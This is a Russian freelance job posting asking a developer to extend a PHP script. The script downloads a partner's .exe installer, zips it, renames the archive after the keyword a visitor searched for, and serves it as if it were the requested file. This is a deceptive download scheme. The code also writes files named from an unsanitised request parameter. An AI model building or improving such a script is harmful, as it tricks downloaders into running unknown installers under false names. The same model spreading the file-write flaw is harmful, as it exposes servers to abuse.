Доработать PHP-скрипт.

Андрей19 лет в сервисе
Данные заказчика будут вам доступны после подачи заявки
30.04.2012

Имеется скрипт:

Пользователь переходит на мой сайт по ссылке с сайта партнёра, ссылка у партнёра такого рода:

domain.ru/files/kdm01&q=KLUCHEVOE+SLOVO.zip

На моём сайте ссылка данная меняется, на domain.ru/files/kdm02aojj

И данный ключ запоминается и передается на мою страницу. В итоге на моей странице есть поле "Имя файла", где написан тот ключ:

Имя файла: KLUCHEVOE SLOVO.zip

Пользователь жмет скачать, скачивается инсталлятор с сайта партнёрской программы, пакует его в зип. Переименовывает архив под ключевое слово и выдает на скачку пользователю.

---- ЗАДАНИЕ ------------------------------------------------------------------------------------------

Проблема в том, что, если человек пришел на сайт мой, то при переходе на третью страницу - ключ уже не передается.

Надо сделать так, что бы при переходе пользователя на мой сайт - ключ этот KLUCHEVOE SLOVO.zip - сохранился. И при переходе на другую страницу моего сайта, там так же можно было использовать параметр

.zip

---- СКРИПТ, КОТОРЫЙ НУЖНО ДОПОЛНИТЬ ------------------------------------------------------------------------------------------

Сам скрипт НА ГЛАВНОЙ странице имеет такой вид:

require_once('pclzip.lib.php');

$exeurl = "http://domainsarhivom.ru/file.exe"; // ссылка на файл

$param = "q"; // Параметр, в котором передается ключевик (main.php?q=key)

$filename = 'soft.exe'; // Имя файла для сохранения на сервере

$script = end(explode("/", $_SERVER['SCRIPT_NAME']));

error_reporting(0);

if (isset($_REQUEST[$param])) {

$text = str_replace(array("kdm02", ".zip", ".rar"), "", strtolower($_REQUEST[$param]));

SetCookie("keyword",$text);

header("Location: /files/kdm02aojj");

} else {

if (isset($_COOKIE['keyword'])) {

$text = @$_COOKIE['keyword'];

} else {

$text = "File";

SetCookie("keyword",$text);

}

}

header('Content-Type: text/html; charset=windows-1251');

$script = end(explode("/", $_SERVER['SCRIPT_NAME']));

if (isset($_REQUEST['download'])) {

$download = str_replace(array('"',"'"), "", $_REQUEST['download']);

$file = file_get_contents($exeurl);

fwrite(fopen($download.".exe", "w+"), $file);

$aname = $download.'.zip';

$archive = new PclZip($aname);

$archive->add($download.".exe");

$archive->add("ReadMe.txt");

unlink($download.".exe");

if (isset($_SERVER['HTTP_USER_AGENT']) and strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE')) {

Header('Content-Type: application/force-download');

} else {

Header('Content-Type: application/octet-stream');

}

Header('Content-disposition: attachment; filename="' . $aname.'"');

header('Content-Description: File Transfer');

header('Content-Transfer-Encoding: binary');

header('Expires: 0');

header('Cache-Control: must-revalidate');

header('Pragma: public');

Header('Content-Length: ' . filesize($aname));

readfile($aname);

unlink($aname);

exit();

}

?>